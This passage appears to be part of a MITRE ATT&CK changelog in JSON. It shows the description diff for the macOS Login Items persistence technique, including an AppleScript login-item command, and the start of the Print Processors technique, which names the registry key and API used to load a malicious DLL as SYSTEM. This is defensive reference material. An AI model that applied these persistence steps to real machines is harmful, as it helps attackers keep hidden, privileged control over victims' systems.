Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code>.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)\", \"old_value\": \"Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call <code>SMLoginItemSetEnabled</code>.\\n\\nLogin items installed using the Service Management Framework leverage <code>launchd</code>, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.\\n\\nAdversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the \\u201cSystem Events\\u201d process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as <code>tell application \\u201cSystem Events\\u201d to make login item at end with properties /path/to/executable</code>.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code>.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)\", \"diff\": \"--- \\n+++ \\n@@ -2,4 +2,4 @@\\n \\n Login items installed using the Service Management Framework leverage <code>launchd</code>, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.\\n \\n-Adversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the \\u201cSystem Events\\u201d process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as <code>tell application \\u201cSystem Events\\u201d to make login item at end with properties /path/to/executable</code>.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code>.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)\\n+Adversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple event to the \\u201cSystem Events\\u201d process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as <code>tell application \\u201cSystem Events\\u201d to make login item at end with properties /path/to/executable</code>.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code>.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}, \"iterable_item_removed\": {\"root['external_references'][2]\": {\"source_name\": \"Launch Service Keys Developer Apple\", \"description\": \"Apple. (2018, June 4). Launch Services Keys. Retrieved October 5, 2021.\", \"url\": \"https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/LaunchServicesKeys.html#//apple_ref/doc/uid/TP40009250-SW1\"}, \"root['external_references'][11]\": {\"source_name\": \"objsee block blocking login items\", \"description\": \"Patrick Wardle. (2018, July 23). Block Blocking Login Items. Retrieved October 1, 2021.\", \"url\": \"https://objective-see.com/blog/blog_0x31.html\"}, \"root['external_references'][14]\": {\"source_name\": \"sentinelone macos persist Jun 2019\", \"description\": \"Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.\", \"url\": \"https://www.sentinelone.com/blog/how-malware-persists-on-macos/\"}}}",
                    "previous_version": "1.1",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to71__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to71__0\"><a href=\"#difflib_chg_to71__top\">t</a></td><td class=\"diff_header\" id=\"from71_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;add&nbsp;login&nbsp;items&nbsp;to&nbsp;execute&nbsp;upon&nbsp;user&nbsp;login&nbsp;t</td><td class=\"diff_next\"><a href=\"#difflib_chg_to71__top\">t</a></td><td class=\"diff_header\" id=\"to71_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;add&nbsp;login&nbsp;items&nbsp;to&nbsp;execute&nbsp;upon&nbsp;user&nbsp;login&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;gain&nbsp;persistence&nbsp;or&nbsp;escalate&nbsp;privileges.&nbsp;Login&nbsp;items&nbsp;are&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;gain&nbsp;persistence&nbsp;or&nbsp;escalate&nbsp;privileges.&nbsp;Login&nbsp;items&nbsp;are&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pplications,&nbsp;documents,&nbsp;folders,&nbsp;or&nbsp;server&nbsp;connections&nbsp;that&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pplications,&nbsp;documents,&nbsp;folders,&nbsp;or&nbsp;server&nbsp;connections&nbsp;that&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">are&nbsp;automatically&nbsp;launched&nbsp;when&nbsp;a&nbsp;user&nbsp;logs&nbsp;in.(Citation:&nbsp;Op</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">are&nbsp;automatically&nbsp;launched&nbsp;when&nbsp;a&nbsp;user&nbsp;logs&nbsp;in.(Citation:&nbsp;Op</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">en&nbsp;Login&nbsp;Items&nbsp;Apple)&nbsp;Login&nbsp;items&nbsp;can&nbsp;be&nbsp;added&nbsp;via&nbsp;a&nbsp;shared&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">en&nbsp;Login&nbsp;Items&nbsp;Apple)&nbsp;Login&nbsp;items&nbsp;can&nbsp;be&nbsp;added&nbsp;via&nbsp;a&nbsp;shared&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">file&nbsp;list&nbsp;or&nbsp;Service&nbsp;Management&nbsp;Framework.(Citation:&nbsp;Adding&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">file&nbsp;list&nbsp;or&nbsp;Service&nbsp;Management&nbsp;Framework.(Citation:&nbsp;Adding&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Login&nbsp;Items)&nbsp;Shared&nbsp;file&nbsp;list&nbsp;login&nbsp;items&nbsp;can&nbsp;be&nbsp;set&nbsp;using&nbsp;s</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Login&nbsp;Items)&nbsp;Shared&nbsp;file&nbsp;list&nbsp;login&nbsp;items&nbsp;can&nbsp;be&nbsp;set&nbsp;using&nbsp;s</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cripting&nbsp;languages&nbsp;such&nbsp;as&nbsp;[AppleScript](https://attack.mitr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cripting&nbsp;languages&nbsp;such&nbsp;as&nbsp;[AppleScript](https://attack.mitr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e.org/techniques/T1059/002),&nbsp;whereas&nbsp;the&nbsp;Service&nbsp;Management&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e.org/techniques/T1059/002),&nbsp;whereas&nbsp;the&nbsp;Service&nbsp;Management&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Framework&nbsp;uses&nbsp;the&nbsp;API&nbsp;call&nbsp;&lt;code&gt;SMLoginItemSetEnabled&lt;/cod</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Framework&nbsp;uses&nbsp;the&nbsp;API&nbsp;call&nbsp;&lt;code&gt;SMLoginItemSetEnabled&lt;/cod</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&gt;.&nbsp;&nbsp;Login&nbsp;items&nbsp;installed&nbsp;using&nbsp;the&nbsp;Service&nbsp;Management&nbsp;Fram</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&gt;.&nbsp;&nbsp;Login&nbsp;items&nbsp;installed&nbsp;using&nbsp;the&nbsp;Service&nbsp;Management&nbsp;Fram</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ework&nbsp;leverage&nbsp;&lt;code&gt;launchd&lt;/code&gt;,&nbsp;are&nbsp;not&nbsp;visible&nbsp;in&nbsp;the&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ework&nbsp;leverage&nbsp;&lt;code&gt;launchd&lt;/code&gt;,&nbsp;are&nbsp;not&nbsp;visible&nbsp;in&nbsp;the&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">System&nbsp;Preferences,&nbsp;and&nbsp;can&nbsp;only&nbsp;be&nbsp;removed&nbsp;by&nbsp;the&nbsp;applicati</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">System&nbsp;Preferences,&nbsp;and&nbsp;can&nbsp;only&nbsp;be&nbsp;removed&nbsp;by&nbsp;the&nbsp;applicati</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on&nbsp;that&nbsp;created&nbsp;them.(Citation:&nbsp;Adding&nbsp;Login&nbsp;Items)(Citation</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on&nbsp;that&nbsp;created&nbsp;them.(Citation:&nbsp;Adding&nbsp;Login&nbsp;Items)(Citation</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">:&nbsp;SMLoginItemSetEnabled&nbsp;Schroeder&nbsp;2013)&nbsp;Login&nbsp;items&nbsp;created&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">:&nbsp;SMLoginItemSetEnabled&nbsp;Schroeder&nbsp;2013)&nbsp;Login&nbsp;items&nbsp;created&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">using&nbsp;a&nbsp;shared&nbsp;file&nbsp;list&nbsp;are&nbsp;visible&nbsp;in&nbsp;System&nbsp;Preferences,&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">using&nbsp;a&nbsp;shared&nbsp;file&nbsp;list&nbsp;are&nbsp;visible&nbsp;in&nbsp;System&nbsp;Preferences,&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">can&nbsp;hide&nbsp;the&nbsp;application&nbsp;when&nbsp;it&nbsp;launches,&nbsp;and&nbsp;are&nbsp;executed&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">can&nbsp;hide&nbsp;the&nbsp;application&nbsp;when&nbsp;it&nbsp;launches,&nbsp;and&nbsp;are&nbsp;executed&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">through&nbsp;LaunchServices,&nbsp;not&nbsp;launchd,&nbsp;to&nbsp;open&nbsp;applications,&nbsp;d</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">through&nbsp;LaunchServices,&nbsp;not&nbsp;launchd,&nbsp;to&nbsp;open&nbsp;applications,&nbsp;d</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ocuments,&nbsp;or&nbsp;URLs&nbsp;without&nbsp;using&nbsp;Finder.(Citation:&nbsp;Launch&nbsp;Ser</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ocuments,&nbsp;or&nbsp;URLs&nbsp;without&nbsp;using&nbsp;Finder.(Citation:&nbsp;Launch&nbsp;Ser</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">vices&nbsp;Apple&nbsp;Developer)&nbsp;Users&nbsp;and&nbsp;applications&nbsp;use&nbsp;login&nbsp;item</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">vices&nbsp;Apple&nbsp;Developer)&nbsp;Users&nbsp;and&nbsp;applications&nbsp;use&nbsp;login&nbsp;item</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;to&nbsp;configure&nbsp;their&nbsp;user&nbsp;environment&nbsp;to&nbsp;launch&nbsp;commonly&nbsp;use</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;to&nbsp;configure&nbsp;their&nbsp;user&nbsp;environment&nbsp;to&nbsp;launch&nbsp;commonly&nbsp;use</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;services&nbsp;or&nbsp;applications,&nbsp;such&nbsp;as&nbsp;email,&nbsp;chat,&nbsp;and&nbsp;music&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;services&nbsp;or&nbsp;applications,&nbsp;such&nbsp;as&nbsp;email,&nbsp;chat,&nbsp;and&nbsp;music&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pplications.&nbsp;&nbsp;Adversaries&nbsp;can&nbsp;utilize&nbsp;[AppleScript](https://</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pplications.&nbsp;&nbsp;Adversaries&nbsp;can&nbsp;utilize&nbsp;[AppleScript](https://</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">attack.mitre.org/techniques/T1059/002)&nbsp;and&nbsp;[Native&nbsp;API](http</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">attack.mitre.org/techniques/T1059/002)&nbsp;and&nbsp;[Native&nbsp;API](http</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s://attack.mitre.org/techniques/T1106)&nbsp;calls&nbsp;to&nbsp;create&nbsp;a&nbsp;log</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s://attack.mitre.org/techniques/T1106)&nbsp;calls&nbsp;to&nbsp;create&nbsp;a&nbsp;log</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">in&nbsp;item&nbsp;to&nbsp;spawn&nbsp;malicious&nbsp;executables.(Citation:&nbsp;ELC&nbsp;Runnin</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">in&nbsp;item&nbsp;to&nbsp;spawn&nbsp;malicious&nbsp;executables.(Citation:&nbsp;ELC&nbsp;Runnin</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g&nbsp;at&nbsp;startup)&nbsp;Prior&nbsp;to&nbsp;version&nbsp;10.5&nbsp;on&nbsp;macOS,&nbsp;adversaries&nbsp;ca</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g&nbsp;at&nbsp;startup)&nbsp;Prior&nbsp;to&nbsp;version&nbsp;10.5&nbsp;on&nbsp;macOS,&nbsp;adversaries&nbsp;ca</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;add&nbsp;login&nbsp;items&nbsp;by&nbsp;using&nbsp;[AppleScript](https://attack.mitr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;add&nbsp;login&nbsp;items&nbsp;by&nbsp;using&nbsp;[AppleScript](https://attack.mitr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e.org/techniques/T1059/002)&nbsp;to&nbsp;send&nbsp;an&nbsp;Apple&nbsp;event<span class=\"diff_chg\">s&nbsp;to&nbsp;the</span>&nbsp;\u201c</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e.org/techniques/T1059/002)&nbsp;to&nbsp;send&nbsp;an&nbsp;Apple&nbsp;event<span class=\"diff_chg\">&nbsp;to&nbsp;the</span>&nbsp;\u201cS</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">System&nbsp;Events\u201d&nbsp;process,&nbsp;which&nbsp;has&nbsp;an&nbsp;AppleScript&nbsp;dictionary&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ystem&nbsp;Events\u201d&nbsp;process,&nbsp;which&nbsp;has&nbsp;an&nbsp;AppleScript&nbsp;dictionary&nbsp;f</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">for&nbsp;manipulating&nbsp;login&nbsp;items.(Citation:&nbsp;Login&nbsp;Items&nbsp;AE)&nbsp;Adve</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">or&nbsp;manipulating&nbsp;login&nbsp;items.(Citation:&nbsp;Login&nbsp;Items&nbsp;AE)&nbsp;Adver</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rsaries&nbsp;can&nbsp;use&nbsp;a&nbsp;command&nbsp;such&nbsp;as&nbsp;&lt;code&gt;tell&nbsp;application&nbsp;\u201cSy</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">saries&nbsp;can&nbsp;use&nbsp;a&nbsp;command&nbsp;such&nbsp;as&nbsp;&lt;code&gt;tell&nbsp;application&nbsp;\u201cSys</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">stem&nbsp;Events\u201d&nbsp;to&nbsp;make&nbsp;login&nbsp;item&nbsp;at&nbsp;end&nbsp;with&nbsp;properties&nbsp;/path</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tem&nbsp;Events\u201d&nbsp;to&nbsp;make&nbsp;login&nbsp;item&nbsp;at&nbsp;end&nbsp;with&nbsp;properties&nbsp;/path/</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/to/executable&lt;/code&gt;.(Citation:&nbsp;Startup&nbsp;Items&nbsp;Eclectic)(Cit</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">to/executable&lt;/code&gt;.(Citation:&nbsp;Startup&nbsp;Items&nbsp;Eclectic)(Cita</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ation:&nbsp;hexed&nbsp;osx.dok&nbsp;analysis&nbsp;2019)(Citation:&nbsp;Add&nbsp;List&nbsp;Remov</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion:&nbsp;hexed&nbsp;osx.dok&nbsp;analysis&nbsp;2019)(Citation:&nbsp;Add&nbsp;List&nbsp;Remove</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;Login&nbsp;Items&nbsp;Apple&nbsp;Script)&nbsp;This&nbsp;command&nbsp;adds&nbsp;the&nbsp;path&nbsp;of&nbsp;th</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Login&nbsp;Items&nbsp;Apple&nbsp;Script)&nbsp;This&nbsp;command&nbsp;adds&nbsp;the&nbsp;path&nbsp;of&nbsp;the</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;malicious&nbsp;executable&nbsp;to&nbsp;the&nbsp;login&nbsp;item&nbsp;file&nbsp;list&nbsp;located&nbsp;i</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;malicious&nbsp;executable&nbsp;to&nbsp;the&nbsp;login&nbsp;item&nbsp;file&nbsp;list&nbsp;located&nbsp;in</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;&lt;code&gt;~/Library/Application&nbsp;Support/com.apple.backgroundta</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;&lt;code&gt;~/Library/Application&nbsp;Support/com.apple.backgroundtas</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">skmanagementagent/backgrounditems.btm&lt;/code&gt;.(Citation:&nbsp;Star</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">kmanagementagent/backgrounditems.btm&lt;/code&gt;.(Citation:&nbsp;Start</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tup&nbsp;Items&nbsp;Eclectic)&nbsp;Adversaries&nbsp;can&nbsp;also&nbsp;use&nbsp;login&nbsp;items&nbsp;to&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">up&nbsp;Items&nbsp;Eclectic)&nbsp;Adversaries&nbsp;can&nbsp;also&nbsp;use&nbsp;login&nbsp;items&nbsp;to&nbsp;l</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">launch&nbsp;executables&nbsp;that&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;control&nbsp;the&nbsp;victim&nbsp;sy</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">aunch&nbsp;executables&nbsp;that&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;control&nbsp;the&nbsp;victim&nbsp;sys</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">stem&nbsp;remotely&nbsp;or&nbsp;as&nbsp;a&nbsp;means&nbsp;to&nbsp;gain&nbsp;privilege&nbsp;escalation&nbsp;by&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tem&nbsp;remotely&nbsp;or&nbsp;as&nbsp;a&nbsp;means&nbsp;to&nbsp;gain&nbsp;privilege&nbsp;escalation&nbsp;by&nbsp;p</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">prompting&nbsp;for&nbsp;user&nbsp;credentials.(Citation:&nbsp;objsee&nbsp;mac&nbsp;malware</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rompting&nbsp;for&nbsp;user&nbsp;credentials.(Citation:&nbsp;objsee&nbsp;mac&nbsp;malware&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;2017)(Citation:&nbsp;CheckPoint&nbsp;Dok)(Citation:&nbsp;objsee&nbsp;netwire&nbsp;ba</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">2017)(Citation:&nbsp;CheckPoint&nbsp;Dok)(Citation:&nbsp;objsee&nbsp;netwire&nbsp;bac</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ckdoor&nbsp;2019)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">kdoor&nbsp;2019)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0121: Detection Strategy for T1547.015 \u2013 Login Items on macOS"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--2de47683-f398-448f-b947-9abcc3e32fad",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-10-05 13:24:49.780000+00:00",
                    "modified": "2026-11-04 00:02:45.518000+00:00",
                    "name": "Print Processors",
                    "description": "Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.(Citation: Microsoft Intro Print Processors)\n\nAdversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the <code>AddPrintProcessor</code> API call with an account that has <code>SeLoadDriverPrivilege</code> enabled. Alternatively, a print processor can be registered to the print spooler service by adding the <code>HKLM\\SYSTEM\\\\[CurrentControlSet or ControlSet001]\\Control\\Print\\Environments\\\\[Windows architecture: e.g., Windows x64]\\Print Processors\\\\[user defined]\\Driver</code> Registry key that points to the DLL.\n\nFor the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the <code>GetPrintProcessorDirectory</code> API call, or referenced via a relative path from this directory.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020)\n\nThe print spooler service runs under SYSTEM level permissions; therefore, print processors installed by an adversary may run under elevated privileges.",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "persistence"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "privilege-escalation"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1547/012",
                            "external_id": "T1547.012"
                        },
                        {
                            "source_name": "Microsoft AddPrintProcessor May 2018",
                            "description": "Microsoft. (2018, May 31). AddPrintProcessor function. Retrieved October 5, 2020.",
                            "url": "https://docs.microsoft.com/en-us/windows/win32/printdocs/addprintprocessor"
                        },
                        {
